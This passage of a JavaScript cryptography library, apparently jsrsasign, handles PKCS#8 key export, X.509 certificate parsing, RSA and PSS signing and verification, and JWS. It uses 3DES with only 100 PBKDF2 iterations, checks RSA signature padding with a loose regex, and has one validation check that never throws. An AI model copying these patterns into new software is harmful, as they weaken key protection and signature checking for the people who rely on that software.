                        name: "pkcs5PBES2"
                    }
                }, {
                    seq: [{
                        seq: [{
                            oid: {
                                name: "pkcs5PBKDF2"
                            }
                        }, {
                            seq: [{
                                octstr: {
                                    hex: I.pbkdf2Salt
                                }
                            }, {
                                "int": I.pbkdf2Iter
                            }]
                        }]
                    }, {
                        seq: [{
                            oid: {
                                name: "des-EDE3-CBC"
                            }
                        }, {
                            octstr: {
                                hex: I.encryptionSchemeIV
                            }
                        }]
                    }]
                }]
            }, {
                octstr: {
                    hex: I.ciphertext
                }
            }]
        });
        return H.getEncodedHex()
    };
    var c = function(N, O) {
        var H = 100;
        var M = CryptoJS.lib.WordArray.random(8);
        var L = "DES-EDE3-CBC";
        var s = CryptoJS.lib.WordArray.random(8);
        var I = CryptoJS.PBKDF2(O, M, {
            keySize: 192 / 32,
            iterations: H
        });
        var J = CryptoJS.enc.Hex.parse(N);
        var K = CryptoJS.TripleDES.encrypt(J, I, {
            iv: s
        }) + "";
        var G = {};
        G.ciphertext = K;
        G.pbkdf2Salt = CryptoJS.enc.Hex.stringify(M);
        G.pbkdf2Iter = H;
        G.encryptionSchemeAlg = L;
        G.encryptionSchemeIV = CryptoJS.enc.Hex.stringify(s);
        return G
    };
    if (D == "PKCS8PRV" && n != undefined && b instanceof n && b.isPrivate == true) {
        var g = A(b);
        var d = g.getEncodedHex();
        var E = l({
            seq: [{
                "int": 0
            }, {
                seq: [{
                    oid: {
                        name: "rsaEncryption"
                    }
                }, {
                    "null": true
                }]
            }, {
                octstr: {
                    hex: d
                }
            }]
        });
        var w = E.getEncodedHex();
        if (y === undefined || y == null) {
            return hextopem(w, "PRIVATE KEY")
        } else {
            var t = o(w, y);
            return hextopem(t, "ENCRYPTED PRIVATE KEY")
        }
    }
    if (D == "PKCS8PRV" && r !== undefined && b instanceof r && b.isPrivate == true) {
        var g = new l({
            seq: [{
                "int": 1
            }, {
                octstr: {
                    hex: b.prvKeyHex
                }
            }, {
                tag: ["a1", true, {
                    bitstr: {
                        hex: "00" + b.pubKeyHex
                    }
                }]
            }]
        });
        var d = g.getEncodedHex();
        var E = l({
            seq: [{
                "int": 0
            }, {
                seq: [{
                    oid: {
                        name: "ecPublicKey"
                    }
                }, {
                    oid: {
                        name: b.curveName
                    }
                }]
            }, {
                octstr: {
                    hex: d
                }
            }]
        });
        var w = E.getEncodedHex();
        if (y === undefined || y == null) {
            return hextopem(w, "PRIVATE KEY")
        } else {
            var t = o(w, y);
            return hextopem(t, "ENCRYPTED PRIVATE KEY")
        }
    }
    if (D == "PKCS8PRV" && u !== undefined && b instanceof u && b.isPrivate == true) {
        var g = new f({
            bigint: b.x
        });
        var d = g.getEncodedHex();
        var E = l({
            seq: [{
                "int": 0
            }, {
                seq: [{
                    oid: {
                        name: "dsa"
                    }
                }, {
                    seq: [{
                        "int": {
                            bigint: b.p
                        }
                    }, {
                        "int": {
                            bigint: b.q
                        }
                    }, {
                        "int": {
                            bigint: b.g
                        }
                    }]
                }]
            }, {
                octstr: {
                    hex: d
                }
            }]
        });
        var w = E.getEncodedHex();
        if (y === undefined || y == null) {
            return hextopem(w, "PRIVATE KEY")
        } else {
            var t = o(w, y);
            return hextopem(t, "ENCRYPTED PRIVATE KEY")
        }
    }
    throw "unsupported object nor format"
};
KEYUTIL.getKeyFromCSRPEM = function(b) {
    var a = pemtohex(b, "CERTIFICATE REQUEST");
    var c = KEYUTIL.getKeyFromCSRHex(a);
    return c
};
KEYUTIL.getKeyFromCSRHex = function(a) {
    var c = KEYUTIL.parseCSRHex(a);
    var b = KEYUTIL.getKey(c.p8pubkeyhex, null, "pkcs8pub");
    return b
};
KEYUTIL.parseCSRHex = function(d) {
    var i = ASN1HEX;
    var f = i.getChildIdx;
    var c = i.getTLV;
    var b = {};
    var g = d;
    if (g.substr(0, 2) != "30") {
        throw "malformed CSR(code:001)"
    }
    var e = f(g, 0);
    if (e.length < 1) {
        throw "malformed CSR(code:002)"
    }
    if (g.substr(e[0], 2) != "30") {
        throw "malformed CSR(code:003)"
    }
    var a = f(g, e[0]);
    if (a.length < 3) {
        throw "malformed CSR(code:004)"
    }
    b.p8pubkeyhex = c(g, a[2]);
    return b
};
KEYUTIL.getJWKFromKey = function(d) {
    var b = {};
    if (d instanceof RSAKey && d.isPrivate) {
        b.kty = "RSA";
        b.n = hextob64u(d.n.toString(16));
        b.e = hextob64u(d.e.toString(16));
        b.d = hextob64u(d.d.toString(16));
        b.p = hextob64u(d.p.toString(16));
        b.q = hextob64u(d.q.toString(16));
        b.dp = hextob64u(d.dmp1.toString(16));
        b.dq = hextob64u(d.dmq1.toString(16));
        b.qi = hextob64u(d.coeff.toString(16));
        return b
    } else {
        if (d instanceof RSAKey && d.isPublic) {
            b.kty = "RSA";
            b.n = hextob64u(d.n.toString(16));
            b.e = hextob64u(d.e.toString(16));
            return b
        } else {
            if (d instanceof KJUR.crypto.ECDSA && d.isPrivate) {
                var a = d.getShortNISTPCurveName();
                if (a !== "P-256" && a !== "P-384") {
                    throw "unsupported curve name for JWT:" + a
                }
                var c = d.getPublicKeyXYHex();
                b.kty = "EC";
                b.crv = a;
                b.x = hextob64u(c.x);
                b.y = hextob64u(c.y);
                b.d = hextob64u(d.prvKeyHex);
                return b
            } else {
                if (d instanceof KJUR.crypto.ECDSA && d.isPublic) {
                    var a = d.getShortNISTPCurveName();
                    if (a !== "P-256" && a !== "P-384") {
                        throw "unsupported curve name for JWT:" + a
                    }
                    var c = d.getPublicKeyXYHex();
                    b.kty = "EC";
                    b.crv = a;
                    b.x = hextob64u(c.x);
                    b.y = hextob64u(c.y);
                    return b
                }
            }
        }
    }
    throw "not supported key object"
};
RSAKey.getPosArrayOfChildrenFromHex = function(a) {
    return ASN1HEX.getChildIdx(a, 0)
};
RSAKey.getHexValueArrayOfChildrenFromHex = function(f) {
    var n = ASN1HEX;
    var i = n.getV;
    var k = RSAKey.getPosArrayOfChildrenFromHex(f);
    var e = i(f, k[0]);
    var j = i(f, k[1]);
    var b = i(f, k[2]);
    var c = i(f, k[3]);
    var h = i(f, k[4]);
    var g = i(f, k[5]);
    var m = i(f, k[6]);
    var l = i(f, k[7]);
    var d = i(f, k[8]);
    var k = new Array();
    k.push(e, j, b, c, h, g, m, l, d);
    return k
};
RSAKey.prototype.readPrivateKeyFromPEMString = function(d) {
    var c = pemtohex(d);
    var b = RSAKey.getHexValueArrayOfChildrenFromHex(c);
    this.setPrivateEx(b[1], b[2], b[3], b[4], b[5], b[6], b[7], b[8])
};
RSAKey.prototype.readPKCS5PrvKeyHex = function(c) {
    var b = RSAKey.getHexValueArrayOfChildrenFromHex(c);
    this.setPrivateEx(b[1], b[2], b[3], b[4], b[5], b[6], b[7], b[8])
};
RSAKey.prototype.readPKCS8PrvKeyHex = function(e) {
    var c, j, l, b, a, f, d, k;
    var m = ASN1HEX;
    var g = m.getVbyList;
    if (m.isASN1HEX(e) === false) {
        throw "not ASN.1 hex string"
    }
    try {
        c = g(e, 0, [2, 0, 1], "02");
        j = g(e, 0, [2, 0, 2], "02");
        l = g(e, 0, [2, 0, 3], "02");
        b = g(e, 0, [2, 0, 4], "02");
        a = g(e, 0, [2, 0, 5], "02");
        f = g(e, 0, [2, 0, 6], "02");
        d = g(e, 0, [2, 0, 7], "02");
        k = g(e, 0, [2, 0, 8], "02")
    } catch (i) {
        throw "malformed PKCS#8 plain RSA private key"
    }
    this.setPrivateEx(c, j, l, b, a, f, d, k)
};
RSAKey.prototype.readPKCS5PubKeyHex = function(c) {
    var e = ASN1HEX;
    var b = e.getV;
    if (e.isASN1HEX(c) === false) {
        throw "keyHex is not ASN.1 hex string"
    }
    var a = e.getChildIdx(c, 0);
    if (a.length !== 2 || c.substr(a[0], 2) !== "02" || c.substr(a[1], 2) !== "02") {
        throw "wrong hex for PKCS#5 public key"
    }
    var f = b(c, a[0]);
    var d = b(c, a[1]);
    this.setPublic(f, d)
};
RSAKey.prototype.readPKCS8PubKeyHex = function(b) {
    var c = ASN1HEX;
    if (c.isASN1HEX(b) === false) {
        throw "not ASN.1 hex string"
    }
    if (c.getTLVbyList(b, 0, [0, 0]) !== "06092a864886f70d010101") {
        throw "not PKCS8 RSA public key"
    }
    var a = c.getTLVbyList(b, 0, [1, 0]);
    this.readPKCS5PubKeyHex(a)
};
RSAKey.prototype.readCertPubKeyHex = function(b, d) {
    var a, c;
    a = new X509();
    a.readCertHex(b);
    c = a.getPublicKeyHex();
    this.readPKCS8PubKeyHex(c)
};
var _RE_HEXDECONLY = new RegExp("");
_RE_HEXDECONLY.compile("[^0-9a-f]", "gi");

function _rsasign_getHexPaddedDigestInfoForString(d, e, a) {
    var b = function(f) {
        return KJUR.crypto.Util.hashString(f, a)
    };
    var c = b(d);
    return KJUR.crypto.Util.getPaddedDigestInfoHex(c, a, e)
}

function _zeroPaddingOfSignature(e, d) {
    var c = "";
    var a = d / 4 - e.length;
    for (var b = 0; b < a; b++) {
        c = c + "0"
    }
    return c + e
}
RSAKey.prototype.sign = function(d, a) {
    var b = function(e) {
        return KJUR.crypto.Util.hashString(e, a)
    };
    var c = b(d);
    return this.signWithMessageHash(c, a)
};
RSAKey.prototype.signWithMessageHash = function(e, c) {
    var f = KJUR.crypto.Util.getPaddedDigestInfoHex(e, c, this.n.bitLength());
    var b = parseBigInt(f, 16);
    var d = this.doPrivate(b);
    var a = d.toString(16);
    return _zeroPaddingOfSignature(a, this.n.bitLength())
};

function pss_mgf1_str(c, a, e) {
    var b = "",
        d = 0;
    while (b.length < a) {
        b += hextorstr(e(rstrtohex(c + String.fromCharCode.apply(String, [(d & 4278190080) >> 24, (d & 16711680) >> 16, (d & 65280) >> 8, d & 255]))));
        d += 1
    }
    return b
}
RSAKey.prototype.signPSS = function(e, a, d) {
    var c = function(f) {
        return KJUR.crypto.Util.hashHex(f, a)
    };
    var b = c(rstrtohex(e));
    if (d === undefined) {
        d = -1
    }
    return this.signWithMessageHashPSS(b, a, d)
};
RSAKey.prototype.signWithMessageHashPSS = function(l, a, k) {
    var b = hextorstr(l);
    var g = b.length;
    var m = this.n.bitLength() - 1;
    var c = Math.ceil(m / 8);
    var d;
    var o = function(i) {
        return KJUR.crypto.Util.hashHex(i, a)
    };
    if (k === -1 || k === undefined) {
        k = g
    } else {
        if (k === -2) {
            k = c - g - 2
        } else {
            if (k < -2) {
                throw "invalid salt length"
            }
        }
    }
    if (c < (g + k + 2)) {
        throw "data too long"
    }
    var f = "";
    if (k > 0) {
        f = new Array(k);
        new SecureRandom().nextBytes(f);
        f = String.fromCharCode.apply(String, f)
    }
    var n = hextorstr(o(rstrtohex("\x00\x00\x00\x00\x00\x00\x00\x00" + b + f)));
    var j = [];
    for (d = 0; d < c - k - g - 2; d += 1) {
        j[d] = 0
    }
    var e = String.fromCharCode.apply(String, j) + "\x01" + f;
    var h = pss_mgf1_str(n, e.length, o);
    var q = [];
    for (d = 0; d < e.length; d += 1) {
        q[d] = e.charCodeAt(d) ^ h.charCodeAt(d)
    }
    var p = (65280 >> (8 * c - m)) & 255;
    q[0] &= ~p;
    for (d = 0; d < g; d++) {
        q.push(n.charCodeAt(d))
    }
    q.push(188);
    return _zeroPaddingOfSignature(this.doPrivate(new BigInteger(q)).toString(16), this.n.bitLength())
};

function _rsasign_getDecryptSignatureBI(a, d, c) {
    var b = new RSAKey();
    b.setPublic(d, c);
    var e = b.doPublic(a);
    return e
}

function _rsasign_getHexDigestInfoFromSig(a, c, b) {
    var e = _rsasign_getDecryptSignatureBI(a, c, b);
    var d = e.toString(16).replace(/^1f+00/, "");
    return d
}

function _rsasign_getAlgNameAndHashFromHexDisgestInfo(f) {
    for (var e in KJUR.crypto.Util.DIGESTINFOHEAD) {
        var d = KJUR.crypto.Util.DIGESTINFOHEAD[e];
        var b = d.length;
        if (f.substring(0, b) == d) {
            var c = [e, f.substring(b)];
            return c
        }
    }
    return []
}
RSAKey.prototype.verify = function(f, j) {
    j = j.replace(_RE_HEXDECONLY, "");
    j = j.replace(/[\n]+/g, "");
    var b = parseBigInt(j, 16);
    if (b.bitLength() > this.n.bitLength()) {
        return 0
    }
    var i = this.doPublic(b);
    var e = i.toString(16).replace(/^1f+00/, "");
    var g = _rsasign_getAlgNameAndHashFromHexDisgestInfo(e);
    if (g.length == 0) {
        return false
    }
    var d = g[0];
    var h = g[1];
    var a = function(k) {
        return KJUR.crypto.Util.hashString(k, d)
    };
    var c = a(f);
    return (h == c)
};
RSAKey.prototype.verifyWithMessageHash = function(e, a) {
    a = a.replace(_RE_HEXDECONLY, "");
    a = a.replace(/[\n]+/g, "");
    var b = parseBigInt(a, 16);
    if (b.bitLength() > this.n.bitLength()) {
        return 0
    }
    var h = this.doPublic(b);
    var g = h.toString(16).replace(/^1f+00/, "");
    var c = _rsasign_getAlgNameAndHashFromHexDisgestInfo(g);
    if (c.length == 0) {
        return false
    }
    var d = c[0];
    var f = c[1];
    return (f == e)
};
RSAKey.prototype.verifyPSS = function(c, b, a, f) {
    var e = function(g) {
        return KJUR.crypto.Util.hashHex(g, a)
    };
    var d = e(rstrtohex(c));
    if (f === undefined) {
        f = -1
    }
    return this.verifyWithMessageHashPSS(d, b, a, f)
};
RSAKey.prototype.verifyWithMessageHashPSS = function(f, s, l, c) {
    var k = new BigInteger(s, 16);
    if (k.bitLength() > this.n.bitLength()) {
        return false
    }
    var r = function(i) {
        return KJUR.crypto.Util.hashHex(i, l)
    };
    var j = hextorstr(f);
    var h = j.length;
    var g = this.n.bitLength() - 1;
    var m = Math.ceil(g / 8);
    var q;
    if (c === -1 || c === undefined) {
        c = h
    } else {
        if (c === -2) {
            c = m - h - 2
        } else {
            if (c < -2) {
                throw "invalid salt length"
            }
        }
    }
    if (m < (h + c + 2)) {
        throw "data too long"
    }
    var a = this.doPublic(k).toByteArray();
    for (q = 0; q < a.length; q += 1) {
        a[q] &= 255
    }
    while (a.length < m) {
        a.unshift(0)
    }
    if (a[m - 1] !== 188) {
        throw "encoded message does not end in 0xbc"
    }
    a = String.fromCharCode.apply(String, a);
    var d = a.substr(0, m - h - 1);
    var e = a.substr(d.length, h);
    var p = (65280 >> (8 * m - g)) & 255;
    if ((d.charCodeAt(0) & p) !== 0) {
        throw "bits beyond keysize not zero"
    }
    var n = pss_mgf1_str(e, d.length, r);
    var o = [];
    for (q = 0; q < d.length; q += 1) {
        o[q] = d.charCodeAt(q) ^ n.charCodeAt(q)
    }
    o[0] &= ~p;
    var b = m - h - c - 2;
    for (q = 0; q < b; q += 1) {
        if (o[q] !== 0) {
            throw "leftmost octets not zero"
        }
    }
    if (o[b] !== 1) {
        throw "0x01 marker not found"
    }
    return e === hextorstr(r(rstrtohex("\x00\x00\x00\x00\x00\x00\x00\x00" + j + String.fromCharCode.apply(String, o.slice(-c)))))
};
RSAKey.SALT_LEN_HLEN = -1;
RSAKey.SALT_LEN_MAX = -2;
RSAKey.SALT_LEN_RECOVER = -2;

function X509() {
    var k = ASN1HEX,
        j = k.getChildIdx,
        h = k.getV,
        b = k.getTLV,
        f = k.getVbyList,
        c = k.getTLVbyList,
        g = k.getIdxbyList,
        d = k.getVidx,
        i = k.oidname,
        a = X509,
        e = pemtohex;
    this.hex = null;
    this.version = 0;
    this.foffset = 0;
    this.aExtInfo = null;
    this.getVersion = function() {
        if (this.hex === null || this.version !== 0) {
            return this.version
        }
        if (c(this.hex, 0, [0, 0]) !== "a003020102") {
            this.version = 1;
            this.foffset = -1;
            return 1
        }
        this.version = 3;
        return 3
    };
    this.getSerialNumberHex = function() {
        return f(this.hex, 0, [0, 1 + this.foffset], "02")
    };
    this.getSignatureAlgorithmField = function() {
        return i(f(this.hex, 0, [0, 2 + this.foffset, 0], "06"))
    };
    this.getIssuerHex = function() {
        return c(this.hex, 0, [0, 3 + this.foffset], "30")
    };
    this.getIssuerString = function() {
        return a.hex2dn(this.getIssuerHex())
    };
    this.getSubjectHex = function() {
        return c(this.hex, 0, [0, 5 + this.foffset], "30")
    };
    this.getSubjectString = function() {
        return a.hex2dn(this.getSubjectHex())
    };
    this.getNotBefore = function() {
        var l = f(this.hex, 0, [0, 4 + this.foffset, 0]);
        l = l.replace(/(..)/g, "%$1");
        l = decodeURIComponent(l);
        return l
    };
    this.getNotAfter = function() {
        var l = f(this.hex, 0, [0, 4 + this.foffset, 1]);
        l = l.replace(/(..)/g, "%$1");
        l = decodeURIComponent(l);
        return l
    };
    this.getPublicKeyHex = function() {
        return k.getTLVbyList(this.hex, 0, [0, 6 + this.foffset], "30")
    };
    this.getPublicKeyIdx = function() {
        return g(this.hex, 0, [0, 6 + this.foffset], "30")
    };
    this.getPublicKeyContentIdx = function() {
        var l = this.getPublicKeyIdx();
        return g(this.hex, l, [1, 0], "30")
    };
    this.getPublicKey = function() {
        return KEYUTIL.getKey(this.getPublicKeyHex(), null, "pkcs8pub")
    };
    this.getSignatureAlgorithmName = function() {
        return i(f(this.hex, 0, [1, 0], "06"))
    };
    this.getSignatureValueHex = function() {
        return f(this.hex, 0, [2], "03", true)
    };
    this.verifySignature = function(n) {
        var o = this.getSignatureAlgorithmName();
        var l = this.getSignatureValueHex();
        var m = c(this.hex, 0, [0], "30");
        var p = new KJUR.crypto.Signature({
            alg: o
        });
        p.init(n);
        p.updateHex(m);
        return p.verify(l)
    };
    this.parseExt = function() {
        if (this.version !== 3) {
            return -1
        }
        var p = g(this.hex, 0, [0, 7, 0], "30");
        var m = j(this.hex, p);
        this.aExtInfo = new Array();
        for (var n = 0; n < m.length; n++) {
            var q = {};
            q.critical = false;
            var l = j(this.hex, m[n]);
            var r = 0;
            if (l.length === 3) {
                q.critical = true;
                r = 1
            }
            q.oid = k.hextooidstr(f(this.hex, m[n], [0], "06"));
            var o = g(this.hex, m[n], [1 + r]);
            q.vidx = d(this.hex, o);
            this.aExtInfo.push(q)
        }
    };
    this.getExtInfo = function(n) {
        var l = this.aExtInfo;
        var o = n;
        if (!n.match(/^[0-9.]+$/)) {
            o = KJUR.asn1.x509.OID.name2oid(n)
        }
        if (o === "") {
            return undefined
        }
        for (var m = 0; m < l.length; m++) {
            if (l[m].oid === o) {
                return l[m]
            }
        }
        return undefined
    };
    this.getExtBasicConstraints = function() {
        var n = this.getExtInfo("basicConstraints");
        if (n === undefined) {
            return n
        }
        var l = h(this.hex, n.vidx);
        if (l === "") {
            return {}
        }
        if (l === "0101ff") {
            return {
                cA: true
            }
        }
        if (l.substr(0, 8) === "0101ff02") {
            var o = h(l, 6);
            var m = parseInt(o, 16);
            return {
                cA: true,
                pathLen: m
            }
        }
        throw "basicConstraints parse error"
    };
    this.getExtKeyUsageBin = function() {
        var o = this.getExtInfo("keyUsage");
        if (o === undefined) {
            return ""
        }
        var m = h(this.hex, o.vidx);
        if (m.length % 2 != 0 || m.length <= 2) {
            throw "malformed key usage value"
        }
        var l = parseInt(m.substr(0, 2));
        var n = parseInt(m.substr(2), 16).toString(2);
        return n.substr(0, n.length - l)
    };
    this.getExtKeyUsageString = function() {
        var n = this.getExtKeyUsageBin();
        var l = new Array();
        for (var m = 0; m < n.length; m++) {
            if (n.substr(m, 1) == "1") {
                l.push(X509.KEYUSAGE_NAME[m])
            }
        }
        return l.join(",")
    };
    this.getExtSubjectKeyIdentifier = function() {
        var l = this.getExtInfo("subjectKeyIdentifier");
        if (l === undefined) {
            return l
        }
        return h(this.hex, l.vidx)
    };
    this.getExtAuthorityKeyIdentifier = function() {
        var p = this.getExtInfo("authorityKeyIdentifier");
        if (p === undefined) {
            return p
        }
        var l = {};
        var o = b(this.hex, p.vidx);
        var m = j(o, 0);
        for (var n = 0; n < m.length; n++) {
            if (o.substr(m[n], 2) === "80") {
                l.kid = h(o, m[n])
            }
        }
        return l
    };
    this.getExtExtKeyUsageName = function() {
        var p = this.getExtInfo("extKeyUsage");
        if (p === undefined) {
            return p
        }
        var l = new Array();
        var o = b(this.hex, p.vidx);
        if (o === "") {
            return l
        }
        var m = j(o, 0);
        for (var n = 0; n < m.length; n++) {
            l.push(i(h(o, m[n])))
        }
        return l
    };
    this.getExtSubjectAltName = function() {
        var m = this.getExtSubjectAltName2();
        var l = new Array();
        for (var n = 0; n < m.length; n++) {
            if (m[n][0] === "DNS") {
                l.push(m[n][1])
            }
        }
        return l
    };
    this.getExtSubjectAltName2 = function() {
        var l, p, n;
        var m = this.getExtInfo("subjectAltName");
        if (m === undefined) {
            return m
        }
        var t = new Array();
        var q = b(this.hex, m.vidx);
        var s = j(q, 0);
        for (var o = 0; o < s.length; o++) {
            n = q.substr(s[o], 2);
            l = h(q, s[o]);
            if (n === "81") {
                p = hextoutf8(l);
                t.push(["MAIL", p])
            }
            if (n === "82") {
                p = hextoutf8(l);
                t.push(["DNS", p])
            }
            if (n === "84") {
                p = X509.hex2dn(l, 0);
                t.push(["DN", p])
            }
            if (n === "86") {
                p = hextoutf8(l);
                t.push(["URI", p])
            }
            if (n === "87") {
                try {
                    p = parseInt(l.substr(0, 2), 16) + "." + parseInt(l.substr(2, 2), 16) + "." + parseInt(l.substr(4, 2), 16) + "." + parseInt(l.substr(6, 2), 16);
                    t.push(["IP", p])
                } catch (r) {}
            }
        }
        return t
    };
    this.getExtCRLDistributionPointsURI = function() {
        var q = this.getExtInfo("cRLDistributionPoints");
        if (q === undefined) {
            return q
        }
        var l = new Array();
        var m = j(this.hex, q.vidx);
        for (var o = 0; o < m.length; o++) {
            try {
                var r = f(this.hex, m[o], [0, 0, 0], "86");
                var p = hextoutf8(r);
                l.push(p)
            } catch (n) {}
        }
        return l
    };
    this.getExtAIAInfo = function() {
        var p = this.getExtInfo("authorityInfoAccess");
        if (p === undefined) {
            return p
        }
        var l = {
            ocsp: [],
            caissuer: []
        };
        var m = j(this.hex, p.vidx);
        for (var n = 0; n < m.length; n++) {
            var q = f(this.hex, m[n], [0], "06");
            var o = f(this.hex, m[n], [1], "86");
            if (q === "2b06010505073001") {
                l.ocsp.push(hextoutf8(o))
            }
            if (q === "2b06010505073002") {
                l.caissuer.push(hextoutf8(o))
            }
        }
        return l
    };
    this.getExtCertificatePolicies = function() {
        var o = this.getExtInfo("certificatePolicies");
        if (o === undefined) {
            return o
        }
        var l = b(this.hex, o.vidx);
        var u = [];
        var s = j(l, 0);
        for (var r = 0; r < s.length; r++) {
            var t = {};
            var n = j(l, s[r]);
            t.id = i(h(l, n[0]));
            if (n.length === 2) {
                var m = j(l, n[1]);
                for (var q = 0; q < m.length; q++) {
                    var p = f(l, m[q], [0], "06");
                    if (p === "2b06010505070201") {
                        t.cps = hextoutf8(f(l, m[q], [1]))
                    } else {
                        if (p === "2b06010505070202") {
                            t.unotice = hextoutf8(f(l, m[q], [1, 0]))
                        }
                    }
                }
            }
            u.push(t)
        }
        return u
    };
    this.readCertPEM = function(l) {
        this.readCertHex(e(l))
    };
    this.readCertHex = function(l) {
        this.hex = l;
        this.getVersion();
        try {
            g(this.hex, 0, [0, 7], "a3");
            this.parseExt()
        } catch (m) {}
    };
    this.getInfo = function() {
        var m = X509;
        var B, u, z;
        B = "Basic Fields\n";
        B += " serial number:" + this.getSerialNumberHex() + "\n";
        B += " signature algorithm:" + this.getSignatureAlgorithmField() + "\n";
        B += " issuer:" + this.getIssuerString() + "\n";
        B += " notBefore:" + this.getNotBefore() + "\n";
        B += " notAfter:" + this.getNotAfter() + "\n";
        B += " subject:" + this.getSubjectString() + "\n";
        B += " subject public key info:\n";
        u = this.getPublicKey();
        B += " key algorithm:" + u.type + "\n";
        if (u.type === "RSA") {
            B += " n=" + hextoposhex(u.n.toString(16)).substr(0, 16) + "...\n";
            B += " e=" + hextoposhex(u.e.toString(16)) + "\n"
        }
        z = this.aExtInfo;
        if (z !== undefined && z !== null) {
            B += "X509v3 Extensions:\n";
            for (var r = 0; r < z.length; r++) {
                var n = z[r];
                var A = KJUR.asn1.x509.OID.oid2name(n.oid);
                if (A === "") {
                    A = n.oid
                }
                var x = "";
                if (n.critical === true) {
                    x = "CRITICAL"
                }
                B += " " + A + " " + x + ":\n";
                if (A === "basicConstraints") {
                    var v = this.getExtBasicConstraints();
                    if (v.cA === undefined) {
                        B += " {}\n"
                    } else {
                        B += " cA=true";
                        if (v.pathLen !== undefined) {
                            B += ",pathLen=" + v.pathLen
                        }
                        B += "\n"
                    }
                } else {
                    if (A === "keyUsage") {
                        B += " " + this.getExtKeyUsageString() + "\n"
                    } else {
                        if (A === "subjectKeyIdentifier") {
                            B += " " + this.getExtSubjectKeyIdentifier() + "\n"
                        } else {
                            if (A === "authorityKeyIdentifier") {
                                var l = this.getExtAuthorityKeyIdentifier();
                                if (l.kid !== undefined) {
                                    B += " kid=" + l.kid + "\n"
                                }
                            } else {
                                if (A === "extKeyUsage") {
                                    var w = this.getExtExtKeyUsageName();
                                    B += " " + w.join(",") + "\n"
                                } else {
                                    if (A === "subjectAltName") {
                                        var t = this.getExtSubjectAltName2();
                                        B += " " + t + "\n"
                                    } else {
                                        if (A === "cRLDistributionPoints") {
                                            var y = this.getExtCRLDistributionPointsURI();
                                            B += " " + y + "\n"
                                        } else {
                                            if (A === "authorityInfoAccess") {
                                                var p = this.getExtAIAInfo();
                                                if (p.ocsp !== undefined) {
                                                    B += " ocsp:" + p.ocsp.join(",") + "\n"
                                                }
                                                if (p.caissuer !== undefined) {
                                                    B += " caissuer:" + p.caissuer.join(",") + "\n"
                                                }
                                            } else {
                                                if (A === "certificatePolicies") {
                                                    var o = this.getExtCertificatePolicies();
                                                    for (var q = 0; q < o.length; q++) {
                                                        if (o[q].id !== undefined) {
                                                            B += " policy oid:" + o[q].id + "\n"
                                                        }
                                                        if (o[q].cps !== undefined) {
                                                            B += " cps:" + o[q].cps + "\n"
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
        B += "signature algorithm:" + this.getSignatureAlgorithmName() + "\n";
        B += "signature:" + this.getSignatureValueHex().substr(0, 16) + "...\n";
        return B
    }
}
X509.hex2dn = function(f, b) {
    if (b === undefined) {
        b = 0
    }
    if (f.substr(b, 2) !== "30") {
        throw "malformed DN"
    }
    var c = new Array();
    var d = ASN1HEX.getChildIdx(f, b);
    for (var e = 0; e < d.length; e++) {
        c.push(X509.hex2rdn(f, d[e]))
    }
    c = c.map(function(a) {
        return a.replace("/", "\\/")
    });
    return "/" + c.join("/")
};
X509.hex2rdn = function(f, b) {
    if (b === undefined) {
        b = 0
    }
    if (f.substr(b, 2) !== "31") {
        throw "malformed RDN"
    }
    var c = new Array();
    var d = ASN1HEX.getChildIdx(f, b);
    for (var e = 0; e < d.length; e++) {
        c.push(X509.hex2attrTypeValue(f, d[e]))
    }
    c = c.map(function(a) {
        return a.replace("+", "\\+")
    });
    return c.join("+")
};
X509.hex2attrTypeValue = function(d, i) {
    var j = ASN1HEX;
    var h = j.getV;
    if (i === undefined) {
        i = 0
    }
    if (d.substr(i, 2) !== "30") {
        throw "malformed attribute type and value"
    }
    var g = j.getChildIdx(d, i);
    if (g.length !== 2 || d.substr(g[0], 2) !== "06") {
        "malformed attribute type and value"
    }
    var b = h(d, g[0]);
    var f = KJUR.asn1.ASN1Util.oidHexToInt(b);
    var e = KJUR.asn1.x509.OID.oid2atype(f);
    var a = h(d, g[1]);
    var c = hextorstr(a);
    return e + "=" + c
};
X509.getPublicKeyFromCertHex = function(b) {
    var a = new X509();
    a.readCertHex(b);
    return a.getPublicKey()
};
X509.getPublicKeyFromCertPEM = function(b) {
    var a = new X509();
    a.readCertPEM(b);
    return a.getPublicKey()
};
X509.getPublicKeyInfoPropOfCertPEM = function(c) {
    var e = ASN1HEX;
    var g = e.getVbyList;
    var b = {};
    var a, f, d;
    b.algparam = null;
    a = new X509();
    a.readCertPEM(c);
    f = a.getPublicKeyHex();
    b.keyhex = g(f, 0, [1], "03").substr(2);
    b.algoid = g(f, 0, [0, 0], "06");
    if (b.algoid === "2a8648ce3d0201") {
        b.algparam = g(f, 0, [0, 1], "06")
    }
    return b
};
X509.KEYUSAGE_NAME = ["digitalSignature", "nonRepudiation", "keyEncipherment", "dataEncipherment", "keyAgreement", "keyCertSign", "cRLSign", "encipherOnly", "decipherOnly"];
if (typeof KJUR == "undefined" || !KJUR) {
    KJUR = {}
}
if (typeof KJUR.jws == "undefined" || !KJUR.jws) {
    KJUR.jws = {}
}
KJUR.jws.JWS = function() {
    var b = KJUR,
        a = b.jws.JWS,
        c = a.isSafeJSONString;
    this.parseJWS = function(g, j) {
        if ((this.parsedJWS !== undefined) && (j || (this.parsedJWS.sigvalH !== undefined))) {
            return
        }
        var i = g.match(/^([^.]+)\.([^.]+)\.([^.]+)$/);
        if (i == null) {
            throw "JWS signature is not a form of 'Head.Payload.SigValue'."
        }
        var k = i[1];
        var e = i[2];
        var l = i[3];
        var n = k + "." + e;
        this.parsedJWS = {};
        this.parsedJWS.headB64U = k;
        this.parsedJWS.payloadB64U = e;
        this.parsedJWS.sigvalB64U = l;
        this.parsedJWS.si = n;
        if (!j) {
            var h = b64utohex(l);
            var f = parseBigInt(h, 16);
            this.parsedJWS.sigvalH = h;
            this.parsedJWS.sigvalBI = f
        }
        var d = b64utoutf8(k);
        var m = b64utoutf8(e);
        this.parsedJWS.headS = d;
        this.parsedJWS.payloadS = m;
        if (!c(d, this.parsedJWS, "headP")) {
            throw "malformed JSON string for JWS Head:" + d
        }
    }
};
KJUR.jws.JWS.sign = function(i, v, y, z, a) {
    var w = KJUR,
        m = w.jws,
        q = m.JWS,
        g = q.readSafeJSONString,
        p = q.isSafeJSONString,
        d = w.crypto,
        k = d.ECDSA,
        o = d.Mac,
        c = d.Signature,
        t = JSON;
    var s, j, n;
    if (typeof v != "string" && typeof v != "object") {
        throw "spHeader must be JSON string or object:" + v
    }
    if (typeof v == "object") {
        j = v;
        s = t.stringify(j)
    }
